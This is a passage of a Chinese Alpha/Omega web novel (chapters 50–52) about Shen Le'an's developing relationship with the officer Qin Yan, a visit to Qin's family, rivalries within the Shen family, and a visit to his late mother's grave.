厨房内一度的寂静无声,唯有烧开的热水发出咕咚咕咚的声响,短促的哀鸣扎入沉默的空气,荡漾出一点微妙的感知,仿佛在给Alpha幽暗不见底色的黑眸增添气势。 沈乐安站直了一分,反应过来自己的追问好像也不是很合适。 只一低头,手臂就被人扣住。 沈乐安猝不及防地被人推倒在墙侧,围猎于狭窄的四五方寸之间,下巴被无情地捏起,对方略一施力,自己便被轻易掌控。 动作的转换只在片刻之间,上头的灯光以犀利的架势扎入眼睛,忽然的视觉转换霎那间难以适应,沈乐安下意识闭上了眼,呼吸微乱。 Omega半开的唇瓣被人狠狠撬开,Alpha长驱直入,舌尖不复第一次的生疏,娴熟地搅乱山野,卷起风暴,箍住Omega的大手也带着不容拒绝的气力,仿佛要将他刻入骨中。 沈乐安第一次感觉到错愕与方寸大乱。 好在秦砚方才的动作不算重,只是后背有点轻微的震感,但忽然的动作还是令沈乐安有点不满,不懂他莫名奇妙的行为。 只是沈乐安一句话都没有能够说出口,甚至一点反抗也做不出。 他被动地拘束于方寸之间,承受着Alpha无言之中的凶猛攻势,裹挟着粗重的呼吸,唇齿间的交缠变成了另外一种反击。 只是Omega一点反击的机会也无。 因为严肃禁欲的Alpha第一次轻浮地挑开了微微敞开的衣摆,有力而炽热的大掌贴上Omega纤细敏感的腰窝时,矜贵倨傲的小少爷整个人都有点失控地轻轻颤了颤。 随后便是无止境的丢失了自己思考的冷静,彻底沉溺于Alpha的手中。 第50章 第 50 章 一晚上精心准备的宴会, 反而成了别人的衬托,沈华章回去的时候脸色十分的阴沉。 沈芸默不作声,给儿子泡了蜂蜜水。 沈华章语气不善:“妈, 沈乐安认识秦家人的事情你怎么没有和我提过?” 沈芸常去老宅, 和两个老人相处也最多,但沈芸确实也不清楚这件事情,见到儿子气恼的模样,她也有点无奈, 低声细语地解释:“他们也没有和我说过这件事情,我也是今天才知道的。” “这种事情怎么可能没说过?你知不知道就因为这个事情, 别人怎么说的我?” 沈华章怒不可遏,既为今天晚上其他人的那些风言风语,又为眼前只会拖后腿的母亲! 沈芸抿了抿唇,也有点不知所措。 沈华章声音不低, 甚至吵醒了五岁大的沈茉莉, 小姑娘从房间内出来, 被脸色阴沉地哥哥瞪了一眼,吓得扑到沈芸的怀里, 哇哇大哭。 沈华章神色不耐, 猛地将杯子放回桌上, 发出碰的一声响动,“别哭了!你烦不烦?” 沈芸抱着女儿,忙不迭低声安抚。 杨元然回来时看到的便是沈芸求助一样的目光, 他很轻地拧了下眉, 转瞬即逝, 面色又恢复沉静,语气温和道:“阿芸, 带茉莉回房间睡觉去。” 沈芸松了口气,抱着女儿回了房间。 沈华章见到他,脸色稍微好了一些:“杨叔。” 杨元然脱了外套,坐下,“因为老爷子说了你一句所以心情不好?” 沈华章对于这位继父,还算是比较信任的,尤其是当初自己着手去创业,多有继父的提点。 他迟疑片刻,点了点头。 沈老爷子今天专门说了他一通,让他做事要有分寸,不要失了风骨,明显是说他在秦家这件事情上的处理。 但他也不过是想搭上秦家这条关系而已,就沈乐安做的事情,不也是一样的道理? 杨元然道:“还是年轻,太过心急了一点。” 沈华章问:“您也觉得我做错了?” 杨元然摇头:“你想法没错,只是不该表现的目的性太强,咱们和秦家本来就没有什么交集,你贸然和人提合作,会让人觉得有攀附的嫌疑。” 沈华章冷声道:“我那位表弟倒是比我聪明的多,有关系还瞒着大家。” 杨元然倒了杯水,对他此言不做肯定也不做否定,只是转移了重点,问道:“乐安和秦家人认识很久了?” 沈华章:“我不清楚,看情况应该挺久了,而且秦砚和他还在一个地方上班。” 杨元然抿了口水,若有所思。 沈华章提了几句沈乐安的事情,想起什么,又道:“分公司有了大伯的资金,我打算进一步进入下沉市场,但是企业的知名度有限,我有点想通过其他的方式为公司提高知名度。” 杨元然示意他往下说。 沈华章道:“沈氏的名头可能不好借助,但我想借借大伯的名头,树立一下品牌形象,产品输出的渠道我已经想好了,最近听说联邦军校还会有四校联合的比赛,我们公司的产品想要进去也算是有个很好的渠道。” 杨元然笑道:“想法挺好的。” 沈华章纠结了一下,说道:“爷爷刚教训了我一句,我有点担心大伯那边……” 杨元然转了转手上的玉扳指,指腹轻轻抚了抚上面的叶子雕饰,这是他思考时常有的小动作,“这都是小事,一家人哪里有什么大事不能说的,老爷子说那些话虽然有些偏颇,但也不是没有道理,你大伯不是一直对你这个项目很认可?你看着做就行,我到时候会和他提一句的。” 沈华章放下了心,“谢谢杨叔。” 杨元然嗯了一声,起身,“早点休息。” 沈华章与他道了声晚安,就回了房间。 杨元然回房时沈芸也在,见他回来,沈芸主动问了一句:“华章睡了吗?” 杨元然声音淡了一些:“睡了。” 沈芸走近,想帮他取走脱下来的领带和手上的东西。 杨元然拂手表达了婉拒之意,将那枚玉扳指攥入手心,“我自己收拾,你先休息。” 沈芸略微局促地退了一步,没有上前。 那枚玉扳指被他放在了右边的床头柜上,那个柜子是他专属的柜子,不允许别人碰触,沈芸也不例外。 床上一如两侧的柜子,也是泾渭分明的两处。 沈芸眼眶微红,别过身,轻轻吐了吐气,缓解莫名的情绪。 她没有想到杨元然会这么执着于一个死人,哪怕过了这么久,还是这样执迷不悟。 沈芸站在床边,盯着小阳台上孤零零的盆栽,看着那娇艳的花朵旁边衬托的纤细而脆弱的绿叶,失神地看着,眼角不知何时掉了一滴泪。 摇曳的花枝上有浮动的光亮,折叠的光影藏匿于沉沉的夜色,待到主人关灯的动作一落,寂静的室内透出的光亮很快被黑暗吞没。 沈乐安最近都是在秦砚家里住的,甚至有了常驻的趋势。 也不知道是不是最近关系得到了缓和,沈乐安对于秦砚动不动说教的性子有了一点适应,没有之前那么反感和讨厌了,看他稍微顺眼了一点。 至于那天晚上秦砚的主动,沈乐安没搞清楚原因,秦砚的嘴太紧,沈乐安没有本事撬开,当然,这种事他觉得以秦砚的性格,估计也没有第二次,他还是略微有点遗憾的。 去秦家的日子在爷爷生日前早就敲定下来,沈乐安还提前买了礼物,不至于上门的时候尴尬。 但沈乐安还是低估了秦家对于秦砚朋友上门时的隆重,又或者是秦砚太久没有回来的原因,不光秦老爷子、秦老夫人和宋书颖在,秦砚的父亲,秦译也专门赶了回来。 四位长辈在门口迎接,着实让沈乐安惊得够呛,毕竟他去余淮阳家也没有这种阵仗。 沈乐安下意识看了一眼秦砚,很想问他这是哪门子的鸿门宴。 秦砚很轻地拧了下眉,抿唇道:“我告诉过他们你今天过来。” 沈乐安:“……你是不是不常带朋友来?” 秦砚有点沉默,他家不是没有朋友来过,只是第一次带Omega朋友回家而已。 沈乐安答应来他家已经是一种进步,但他心知肚明Omega的性格,之前还答应过不要将此事放在明面,不过他们关系目前进步飞快,带他回家其实有点暗示的意味,他不清楚Omega是否明白他的想法。 宋书颖看到略有点拘谨的沈乐安,就明白了秦译整这一出有点吓到人家了。 她白了秦译一眼,而后调整了一下表情,走到少年身侧,“秦砚太久没有回家吃饭,所以家里都想着出来接接他,饿不饿?” 知道原因,沈乐安松了口气,他还以为秦砚和他们乱说了什么呢。 沈乐安笑笑,“有点。” 他挨个喊了人,又主动与秦老爷子道:“爷爷知道我来朋友家做客,让我专门带了罐榨菜。” 秦老爷子道:“你秦奶奶上次生病,所以我和你秦奶奶没有去给你爷爷庆生,不然还能和他唠唠嗑。” 沈乐安点点头道:“秦奶奶身体更重要一些,秦奶奶好一点了吗?” 秦老夫人笑容慈祥,“好了,好了,多谢乐安关心。” 至于神色严肃,老干部作风的秦译,沈乐安略有点腼腆地笑了笑,“我不知道秦叔叔也在,没有给您准备见面礼。” 秦译道:“不用特意准备这些虚的东西。” 宋书颖笑着插嘴道:“这是心意,什么虚的实的。” 她暗暗看了秦译一眼,眼神警告他不许乱说话。 秦老夫人也是有点不满地看了儿子一眼,这话说的,不是不给人面子吗。 秦译头一回被家里这般嫌弃,低头抿了口茶。 沈乐安眨了眨眼,扫了眼神情严肃的秦叔叔,似乎看出来秦砚从哪学来的个性。 秦老爷子岔开了话题,又关心了几句他的生活情况,沈乐安自是附和,又听了一些老人家过往的趣事。 秦译父子默不吭声地待在一块,仿佛和人划开了明显的界限,直到宋书颖带着沈乐安离开客厅,秦砚才主动问道:“您怎么回来了?” 秦译道:“你妈妈和我说了乐安要来家里吃饭,让我回来一趟。” 秦砚顿了下,解释道:“这是我临时决定的,没有和您协商,是不是耽搁了您的事情?” 秦老夫人见他们一板一眼的对话,插嘴道:“能耽搁什么事情?回家吃饭一下还需要预约啊?” 秦老爷子放以前肯定会反驳秦老夫人的话,以工作为先,之前没觉得这两人有什么相处奇怪的,如今来了一个乐安,家里氛围整一个变化了许多,老人家的心情也有点微妙。 秦译默了默,便道:“不耽搁,你带人回来,我还是该回来看看的。” 秦砚嗯了一声,又听他道:“沈家还有一点不明的牵扯,如果你想继续这段关系,还是慎重查明一下。” 具体的事情秦译不好透露,有些话只是稍微一点,以自家儿子的聪慧,他一定猜得出一点东西。 秦老夫人很满意沈乐安,对儿子动不动出口的话语有点不满,她担心儿子的话对孙子造成主观的影响,毕竟孙子非常听儿子的话,但有些关系很容易因为一些外在的因素而造成裂痕。 这一点,她对于自己的这个儿子的处理方式也非常不认可,尤其是孙子之前出事之后的事情,儿媳明显因为上次的事情和儿子有了矛盾,但偏偏儿子仿佛一无所觉,像个二愣子。 “他不是那样的人。”秦砚道。 秦老夫人没想到一向听从儿子话的孙子会难得反驳儿子的话。 秦译也明显愣了一下。 秦砚成年前也有过一段时间的叛逆期,只是进入军队之后,那种锋利感被消磨殆尽,对于家里这位榜样一般的父亲,没有再有过忤逆。 见父亲神色莫名,秦砚抿了抿唇,“我会处理好,您不用担心。” 秦老爷子看了眼表情微妙的儿子,难得的笑了下,拍了拍秦译的肩,“行了,小砚多大人了,你当爹的没事别瞎操心。” 秦老夫人也笑的莫名,倒是多了一点欣慰,小孙子之前被儿子教的冷冰冰的,还是头一次这么有人情味。 秦砚端坐原地,垂下眼皮,躲开与父亲的目光。 父亲最讨厌感情用事,他承认自己有失偏颇,只是他也相信自己的判断。 50-60 第51章 第 51 章 对于秦砚父子的争执, 沈乐安是一无所知的,但看得出来秦家的家庭氛围实在堪忧,尤其是不言苟笑的秦译, 难怪会培养出来一个冷硬又不近人情的秦教官。 沈乐安甚至难以想象秦砚小时候的童年是什么样的, 没有尽头的补习班、端正严明的课堂、以及拿不完的奖状? 似乎看透他所想,宋书颖道:“秦砚小时候很顽皮,三天两头逃课。” 沈乐安愣了一下,歪头看向她。 借口带他暂时离开让那对父子交流是一方面, 但让眼前的小少年对儿子再深入了解又是另外一方面。 宋书颖输了密码,边推门边道:“我听宋瑜说你喜欢玩游戏, 秦砚以前也很爱玩,天天逃课和谢景开那群小孩一起玩,你可以都拿走。” 门后仿佛是一个全新的世界,里面存放了游戏手柄, 还有各种游戏碟片, 还有新的桌游卡牌, 甚至有些绝版的收藏。 种类很丰富,还有些是新的, 没有拆包装, 被小心存放在柜中, 保存的很好,一丝灰尘也无,看得出主人的精心养护。 沈乐安扫视一片, 有点难以置信, “宋姨, 这些都是秦砚的?” “都是他的,他十八岁之前没进联邦军队的时候就是这德行, 他还怕我丢了他的东西,专门买了锁,钥匙千古不变就藏这。”宋书颖从柜子顶部摸出柜锁的钥匙,开了锁。 玻璃面的柜子上面还有红色的记号,上面被人用红色马克笔写了几个大字:不许动我的东西! 配合着这猩红的大字,沈乐安失笑,“看不出来秦教官还有过这种叛逆的时候。” 宋书颖道:“有没有喜欢的?都能拿走。” 沈乐安确实有点眼馋,不过看着那整整齐齐排列的东西,又摇了摇头,“不用了,还是留着秦砚收藏吧。” 宋书颖道:“他早就没有碰了,这些都是平时我偶尔来帮他整理一下。” 沈乐安盯着上面歪歪扭扭并不算工整的红字,看起来确实不像学霸的样子,有点好奇地道:“他小时候真的有您说的那么顽皮?” 宋书颖没有马上回他,而是又开了一个柜子,取了一叠卷子出来,上面的分数可谓惨淡,空白一大片,甚至顽劣的稚童还写了一行生怕气不死改卷老师的答案,留了三个字——不懂写。 改卷老师一定气急败坏的想要骂人,从分数旁边鲜红的‘让家长签字!!’几个加重的大字可以看的出来。 顽皮已经不能概括这种劣迹斑斑的行为了,放沈乐安眼里,这绝对是让家长脑壳痛的叛逆少年,看着卷子应该是初中的卷子,后边高中的时候也是一般无二,毫无上进之意。 沈乐安看着那惨不忍睹的卷子,很难将这些与现在的秦砚放在一块,也很难与在操场上看到的那个严苛又高标准的秦教官放在一起比较。 宋书颖笑了下,“秦砚还是当兵后才改了很多。” 沈乐安道:“您当时是怎么劝说他去军队的?” 在沈乐安看来,以秦砚当时的情况,秦家选择让他去军队,绝对有改造问题儿童的意思,但如何劝说他同意这件事情,又是另外一个关键的问题了,只是令人费解的是,联邦军队真的这么厉害?竟然能让一个人改变到这种地步? “是他自己想去的,”宋书颖指腹轻轻抚了抚卷子上面的文字,语气多了几分莫名,“秦砚从小到大一直很有主意,他不想没人能够劝的动他。” 沈乐安抬头看向她。 宋书颖:“他爸爸那时候还在军队,被反叛军袭击,受了重伤,医生当时基本上都认为要没救了。” 对于一个心智还未成熟的小孩而言,得知最亲近的亲属可能离世,无疑是天塌了一般,当然,哪怕是认知已经成熟的成年人,一样也是会因为有些遗憾而耿耿于怀。 沈乐安抿了抿唇,眼皮垂了下去。 宋书颖想起来什么,不动声色地转移了话题,“秦砚很听他爸爸的话,所以性格也一直模仿他爸爸,我其实有点担心他,不过认识你之后,他倒是有人情味了一点。” 人情味这个词与秦砚没什么可以沾边的痕迹,沈乐安只是笑笑,没有回她。 沈乐安的态度,以宋书颖的阅历,自然试探的分明,有适度的好奇,但谈不上深入,在聪明人的眼中,投入不够深刻,那么在该断的时候,这样的关系很容易就抽身出来。 其他人看不清,但宋书颖却能摸得透沈乐安的想法,且她对自己儿子的行为也看的清白,分明是陷而不自知,偏偏儿子还是如他父亲那样的性格,他们之间的关系,明面上是她儿子占主动权,实则全部被眼前的小少年拿捏。 宋书颖做事也很强势,自然也不喜自己儿子被人牵着鼻子走,但对于分寸拿捏的恰到好处的沈乐安,又确实很有好感。 沈乐安帮她整理好刚刚拿出来的东西,又全部放回原位,在秦砚那里住了那么久,自然也沾染了一点他的小习惯。 宋书颖看了他一眼,“秦砚像他爸爸,闷葫芦一个,但你有事可以主动说,他不会瞒着。” 沈乐安觉得她可能猜到了一点,但知道的并不完全。 他锁上门,装作没听懂,笑道:“我这人很讲道理,一般不和朋友吵架。” “小滑头。”宋书颖笑了两声,抬手摸了把少年的脑袋,“下去吃饭吧。” 她这动作愈发炉火纯青,自然的不行,抬手滑过间还有一点淡淡的花香,应该是洗衣液的香气,秦砚衣服上也是这种味道。 沈乐安回头看了眼那几个红字,没有逗留,跟着宋书颖下了楼。 客厅内的两父子还是冷不吭声的状态,两个老人倒是面容慈祥,只是四个人坐在一处,话题冷的可怜,俨然不像温馨的家庭。 沈乐安看在眼里,默默评价,好在秦家还有一位善于交际的女强人宋书颖。 沈乐安在秦家吃了一顿饭才跟着秦砚离开,走的时候还被迫收下了几个长辈送的礼物,包括一直不怎么说话的秦译,也给他包了个红包。 在某些方面的热情其实是在释放一种信号,虽然今天饭桌上没有怎么表现出来,但聊天的时候还是能听出来两个老人的意思的。 秦砚不怎么带朋友回家,至于Omega,还是第一个。 沈乐安一直没有怎么将AO之别放在心上,总是将自己的认知停留在上辈子的时候,不认为去男性朋友的家里做客是一种很奇怪的表现,而且自己也不是没有去过余淮阳和凌颂家玩,但眼下放在秦家,尤其是之前秦砚还频繁相亲,很容易让人产生误解。 这些礼物收的十分烫手。 沈乐安看了眼坐在驾驶位上的秦砚,问道:“你家里送的那些东西怎么办?” “你收着吧,”秦砚顿了顿,又道,“谢景开过来家里也会送很多东西让他拿回去。” 听他这么一说,沈乐安暂时放下心,嗯了一声,想了想,又道:“书颖阿姨还拿了你珍藏的游戏碟给我。” 秦砚应了一声,表示知晓。 沈乐安:“看不出来秦教官游戏瘾比我还重。” 秦砚安静了数秒,看着前方跳动的红色数字,道:“你去了仓库房?” “你管那地方叫仓库?”沈乐安调侃道,“我还以为你会给它取名宝藏室。” “……” 秦砚车速放缓了许多,分神回他,“那是以前不要的东西,我本来要丢,但是我妈想留。” 沈乐安道:“黑历史还是值得留着纪念一下的,不然我还不知道秦教官还是个会在试卷上理直气壮写‘我不懂’三个大字的学渣。” Alpha目光专注地看着前方,对此神色平静,置若罔闻,仿佛没有将嘲弄放在心上。 没听见回复,沈乐安歪头,视线落在他的侧颜。 秦砚的五官线条其实很分明,骨骼生的恰到好处,侧面看过去,眼窝略深,睫毛又密又长,鼻梁高挺,颈部的喉结略微凸起,一眼能判断出长得很好看。 沈乐安视线很自然地往下挪了挪,落在他单薄的唇瓣处,上次他好像不小心咬破了秦砚的唇瓣,唇角处还有一点缺口。 那道视线张牙舞爪地表现着自己的存在感,如同火一样的灼热,Alpha浓密的睫羽很轻地颤了一下,而后是冷淡的声调传出,带了几分命令的色彩。 “坐好。” 外边还有两声鸣笛,催促前面慢的如似蜗牛一样的车辆。 开车还是不要干扰司机了,小命要紧,沈乐安转回脑袋,视线回到前方,往嘴角塞了颗糖。 秦砚一路开回C区,下车时,帮着沈乐安将东西从后座取下,当然,还有宋书颖放在袋子里面的游戏碟片。 PS5的设备有好几个,本来就是多人可以玩的游戏,应该不至于秦砚一个人单机。 沈乐安翻出来看了看,又道:“秦砚,你之前都和谁一起玩这个?” 秦砚:“谢景开和方桓瑜常来。” 谢景开还是出了名的风流纨绔,这家伙暂且不提,但方桓瑜可不是那种人啊,这家伙还是学霸来着,算是乖宝宝。 沈乐安琢磨了一下,感慨道:“没想到方桓瑜也会翘课玩这些啊。” 秦砚不置一词,分明不是很想与他继续这个话题。 沈乐安本来只是想调侃他两句,见他如此模样,反而激起了好奇心,追问道:“秦教官,你之前在哪里上的初高中?” 他试图勾起话题,又主动说了自己的,“我之前初高中都是在京市一中上的,那里的管理模式还真的是地狱级别的。” 京市一中是这里最好的中学,秦砚当初胡闹,成绩太过于拉胯,秦译不希望给小辈走后门,秦砚考哪上哪,去的是垫底的京市三中。 对于当初的秦砚而言,这些是无所谓的小事,眼下过去这么多年,秦砚也早不再是当初被人评价为不学无术的叛逆少年,这种事情也不是什么难以启齿的大事,但他不是很想与眼前的Omega重新提起那时候的自己,尤其是在与Omega对比鲜明的情况下。 Alpha的自尊心让他不愿在自己的Omega面前露了短。 “时间过去很久了。”秦砚含糊地回他。 秦砚明显没有什么想要展开聊的想法,沈乐安歇了兴致,没有再追问,分寸这种东西他一向拿捏的很好。 话题戛然而止,两人走在小道上,氛围却如似夜晚的林间,寂静无声。 没走两步,沈乐安便觉察到了空中飘来的水汽,直到路灯的光亮照过来,才看清了飘荡在夜间的白色花瓣,抛开凄冷的寒气,不失为可以观赏的美景。 白色的痕迹将光线拆解开来,成为丝丝缕缕的线条,雪花吻上指腹,很快因为指尖的温度而极速融化,但这并没有阻止它往这靠拢的趋势。 沈乐安捏了捏指尖,玩了两下,外套的帽子被人拨起,包裹住了微湿润的发顶,冷意顿时消退,冻到的耳根也暂时得到了缓解。 秦砚收回手,提醒他:“戴好帽子。” 沈乐安拢了拢外套,往他那看了一眼。 秦砚的羽绒服没有帽子,眼下头上多了一层白色的雪花,发梢微润,耷拉在眉眼侧,少了一丝锋利。 “要不拿东西挡挡?”沈乐安问他,他们没有带伞,只能如此。 “不用,”秦砚道,“没几步路。” 沈乐安看了他两眼,转回头,加快了步速,“那我们走快一点。” Omega的脑袋缩在宽大的羽绒服中,提着的东西转为抱,被他揽在怀里,背影来看,只有一片几乎融入雪色的白,唯一色彩分明的,是脚底黑色的球鞋,上面还有幼稚的卡通图案。 上一次宴会上,秦砚听少年的朋友调侃过,说过这双鞋,是余淮阳定制的,图案还是他当时亲手画的。 秦砚还记得当时沈乐安专门拿过来的辣椒酱,以及那份送过来的生日蛋糕。 进了屋,那种冷刺的感觉才缓了许多,沈乐安将东西暂时放在门口,脱了鞋,放入鞋柜,又取了拖鞋出来。 秦砚目光跟着Omega,想起离开前母亲专门私下叮嘱自己的话,抿了抿唇,开口道:“下周有没有空?” 沈乐安回头,看向他,“周几?” 秦砚:“周五。” 母亲给他们订了餐厅,临走前让他私下邀请沈乐安,而且严肃告诉他不要告知对方是她主动提的。 秦砚没有主动邀请过别人,觉得有些难以启齿,但既然说出了口,还是希望Omega可以答应,毕竟他也并不认可母亲旁敲侧击对他们关系的一些评价。 沈乐安也没有问是什么事情,直接拒绝了,“我有事情。” 那天刚好是平安夜,学校也会放假,沈乐安本来就是假期,自然不必多说,但那天沈乐安确实空不出来,他要回家一趟,去看看妈妈。 少年并没有想要主动解释的意思,只是表达了自己的拒绝。 “知道了。”Alpha顿了一下,声音多了一丝冷淡,脸上看不出喜怒。 沈乐安目光在他脸上几经周转,也没听他追问,仿佛对此毫不关心,想起方才无疾而终的聊天,又在心中有点失落地叹了口气。 他们确实也没有到那种无话不谈的地步。 沈乐安穿好鞋,走之前看了眼柜子表面耷拉着的衣服,将自己随手放在柜子上的衣服取起,老实挂回架子上,这回没有再麻烦到他,然后又提着东西上了楼。 脚步声逐渐远去,客厅内又重新陷入冷清的安宁。 秦砚换了鞋,又取了挂在架子上面的毛巾,擦了擦头发,而后挂回,将身上黑沉沉的外套脱下,抬手,挂在了架子的另外一侧。 架子上还垂着白色的羽绒服,比黑色长款要短上一小节,此刻被人还算整齐地放在此处,比以往随意丢弃在桌面要好的多。 秦砚盯着那条羽绒服看了数秒,而后又抽了两张纸,将上面雪花融化成的水雾一点一点地擦去,他做的认真,虽然只是一件很小的事情,纸巾吸水,手心多了一丝冰凉的感触。 空荡荡的客厅加重了这种寒冷的霜意,刺入骨髓,也麻痹神经。 Alpha收回手,将微润的纸巾攥入掌中,冷意让人意识清醒了许多。 他目光冷淡地看着头一回被主人挂在正确位置不需要他额外善后的白色羽绒外套,思绪莫名。 总之谈不上高兴。 第52章 第 52 章 沈乐安这几天没有怎么碰见秦砚, 甚至见到了人,也没有能够说上几句话。 不过他暂时顾及不到这些七七八八的情感问题,实验的药剂到了第二阶段, 临床结果需要他持续跟踪。 联邦药剂研发的检验流程比沈乐安上辈子了解到的要短的多, 加上后边有联邦军校作为背景,可以说是一路绿灯,没有太多的阻碍。 平安夜的前一天,沈乐安放假直接回了沈家, 没有回秦砚的住处,不过想到自己最近一直住在他那里, 还是给秦砚发了消息。 秦砚收到消息时,也只是公式化的回了两个字知道,倒是比之前好了一点,不至于没看消息, 到第二天才回复。 沈乐安躺在床上, 临睡前看到了秦砚的回复, 这才放下了手机。 沈家老宅不论是房间的面积还是床,肯定还是比秦砚在学校里面的房子要好的多, 不过太久没有回来, 沈乐安还是多了几分陌生感。 还有几分失眠, 可能是太久没有回家,习惯了在秦砚家里住。 沈乐安迷迷糊糊进入睡眠的时候还在想,家里被单的味道还是太浓了, 秦砚家那款洗衣液味道还是比自己家里要好一点。 虽然略有失眠, 但最近这段时间太过于劳累, 沈乐安还是睡到了日上三竿。 沈家两个老人奉行早睡早起的原则,早早就起了床, 不过没有人去叫沈乐安,大家默契地给最受疼爱的小少爷额外的优待。 见到乖孙起床,沈老夫人笑眯着眼,“乐安起了啊,过来吃饭。” 午饭时间早就过去了,但饭菜还是专门给沈乐安留着的。 沈乐安笑了笑,“谢谢奶奶。” “乐安都要给你惯坏了,”沈老爷子道,“作息要好好调调,不吃早餐怎么行?” 沈老夫人与他拌嘴,“乐安难得回家,你别乱败坏心情。” 沈老爷子吹胡子瞪眼。 沈乐安生怕他们又吵起来,忙不迭安抚两个老小孩。 沈老爷子没有揪着不放,看了眼时间,又提道:“你爸爸也快回来了,我买了水果,你到时候过去一起拿上。” 沈乐安应下。 沈老夫人没有参与这个话题,有点沉默地去帮孙子盛了碗汤,放在旁边。 奶奶其实一直对他妈妈态度一般,沈乐安看得出来,尤其是每年他要和爸爸去祭拜妈妈的时候,婆媳关系一直是个很微妙的话题,而且斯人已逝,他也很难改变。 只不过他以前印象里面,他妈妈和奶奶关系一开始的时候好像还没有这么冷淡,沈乐安不清楚为什么人走后奶奶态度变化这么多,但有些东西,他们瞒得紧,作为小辈,沈乐安也很难打听出来。 沈老爷子去拿了报纸,离开了饭桌。 沈老夫人将拌酱放在孙子旁边,坐了下来。 沈乐安:“奶奶?” 沈老夫人:“我给叶子买了点上等的纸钱,你到时候拿过去一起烧给她,免得她在那边开销紧。” 沈乐安的妈妈名叫姜叶,小名叶子。 沈乐安顿了一下,嗯了一声,“谢谢奶奶。” 沈老夫人叹了一声,“这都过去十七年了。” 沈乐安听出来她话中有话,抬头看向她。 “放早之前有守孝习俗的时候来讲,你们父子俩也做的够多了,”沈老夫人道,“有些事情需要过去了,人还能往前看不是?” 家里之前沈烨和姜叶的婚房没有人碰过,那间房子里的东西也没有人敢丢,沈乐安锁了门,不许别人进去,所以沈烨现在回来也是住客房,这也是他回来的少的原因。 沈乐安垂了垂眼皮,“妈妈的东西我会尽快全部搬出去。” 一提起姜叶,少年就起了一圈针似的,沈老夫人心口酸酸的,但也不会评判姜叶过往的事情,只是无奈道:“乐安,你是不是觉得奶奶无情?” 沈乐安:“我没有这个意思。” 他态度分明冷了下来,沈老夫人唉了一声,“你爸爸很疼你,他做事有自己的道理,但你一定要相信,他都是为了你好。” 沈乐安没什么胃口地嚼了两下,回道:“知道了。” 沈老夫人见状,摇摇头,没有再多言。 沈烨没过多久就开车回来了,沈乐安刚好吃完饭,直接坐他车走了。 送孙子离开后,沈老爷子才问老伴:“你和乐安胡咧咧什么了?” 沈老夫人瞪他一眼,“没说什么。” 沈老爷子狐疑地看了她一眼,小孙子表现不明显,但看得出情绪有点低,他知道老伴对已逝的儿媳态度变化很大,不是很喜欢,便道:“也就今天看看叶子,你忍忍今天也就过去了,别给他俩父子扫兴了。” 沈老夫人:“都多少年了,乐安就算了,沈烨也该放下了。” 沈老爷子斥道:“他俩父子的事情你别瞎掺和!儿子愿意守着,你又何必添乱?” 沈老夫人烦的不行,心说你懂什么,姜叶出轨的事情也就她知道,要不是看在儿子的面子上,她哪里至于因为儿子的这份情谊这么气愤! 两个老人家的争吵沈乐安并不清楚,同样是坐在副驾驶,与在秦砚的车上不同,沈乐安今天格外的沉默。 沈烨没有让司机开车,今天车上也就他们父子两人。 沈乐安开了点窗,视线落在外面的风景处。 沈烨车速慢,街景一闪而逝,不过仔细看,还能看得清外面的招牌,越开地方便离市区越远,外面的行人也逐渐少了许多,所见之处的道路上逐渐人迹罕至。 “前面路口停一下,”沈乐安道,“我买束花。” 沈烨停在熟悉的路口,见副驾驶位置的少年开门,说了一句:“要粉玫瑰。” 姜叶很喜欢这个颜色的玫瑰花。 沈乐安难得没有呛他,回了一句知道,就下车去了一趟花店,回来的时候手里多了一大束粉玫瑰,被他暂时放在了后座。 沈烨问了一句,“花店老板换人了?” “没有,”沈乐安回他,“那是他老婆。” 这家店每年他们都在这个点过来,花店的老板与他们相熟,买花的时候还会和沈乐安打招呼,老板今天不在,沈乐安与那个女人聊了几句,才知道去年老板结了婚,那是老板娘。 时间有时候会在某个瞬间让你产生一种错觉,有种恍然如世的感觉。 这位新出现的老板娘与奶奶今天的那一番话莫名串联了起来,仿佛是这个世界给予沈乐安的某种提示,让他有了一点矫情的情绪低迷。 沈乐安抿了抿唇,转头看向窗外。 郊区外树木和草丛变得多了起来,没有什么城市的高楼大厦与现代街道,只有郁郁葱葱从眼前划过的绿,空气都变得清新了许多。 沈家专门给姜叶买了一座私人墓地,雇了人专门打扫,这一片没有什么人,刚刚下过雪,多了一点冷清的味道。 沈乐安下了车,抱着大束的花,沈烨从后车厢取了水果下来,看守的人见到他们过来,忙不迭过来迎接。 雪刚停没有多久,看守的人还没来得及扫雪,生怕他们怪罪,沈烨没让他们忙活,借了扫把和毛巾,然后便叫人离开了。 父子俩今天还算默契,配合着将墓碑附近厚重的雪扫尽,沈乐安拿着毛巾擦了擦上面的水珠,然后将水果和花束摆好,沈烨点了香,空气中还飘着一点檀香味。 墓碑上还刻着女人的面孔,时光荏苒,但她仍旧停留于年轻时的模样,音容笑貌雕刻在石头上,仿佛不朽一般,不见老去。 沈乐安来到这个世界的第一眼见到的就是她。 从不适应到习惯,再到接受,沈乐安有时候还会觉得这也许是老天见他上辈子无父无母,所以让他有了完美的家庭,但命运的馈赠有时候又像一场无聊的嬉戏。 他至今也想不明白,为什么在他眼中坚强的母亲会荒谬的走向自绝的道路,但带上了情感的判断往往是有失偏颇的,也许这是他对于母亲性格的误判。 沈乐安将歪掉的苹果摆正,忽然提道:“主卧里妈妈的东西我会尽快腾出去,收拾完钥匙到时候会交还给你。” 沈烨拧眉:“当着你妈妈的面,怎么说这些话?” 沈乐安:“东西搬走后,你想带谁住进来都行,我不会有意见。” “沈乐安!”沈烨扬声呵斥,“你胡说什么呢!” 意思表达清楚就行,沈乐安说的直白,不怕他听不懂。 沈烨拧了拧眉,又道:“不会有谁,东西你也不用动,就放那屋,我住惯了现在的房间,懒得换。” 试探出来他的意见,沈乐安就知道那些话不是他借奶奶的口提出来的,而是奶奶的个人想法了。 男人的承诺这种狗屁东西他一个字都不信,沈乐安垂眸道:“我讨厌后妈,也恶心后爸,你在外面爱怎么搞怎么搞,但是恶心我的东西别让我知道,尤其是什么乱七八糟的兄弟姐妹,我不会让他们出现在沈家。” “沈乐安你踏马再给我胡说八道试试!”沈烨磨了磨牙,被他气得血气腾涌。 沈乐安语气冷漠地回他:“我只是提前和你说清楚,这是我的底线。” 儿子大了,翅膀也硬了,沈烨被他气的心肝疼,但也拿他没办法,只是闷闷地往炉子里面多丢了几张纸钱。 沈乐安看着飘荡出来的缕缕细烟,问道:“当时鉴定结果真的是自杀吗?” 沈烨沉默了下,回了一个字:“是。” 姜叶很早之前就患有抑郁症,开了药,但有些药并不适合孕妇使用,当时她也许并不清楚自己有了身孕,药剂服用过度,在睡梦中无声无息地离世了。 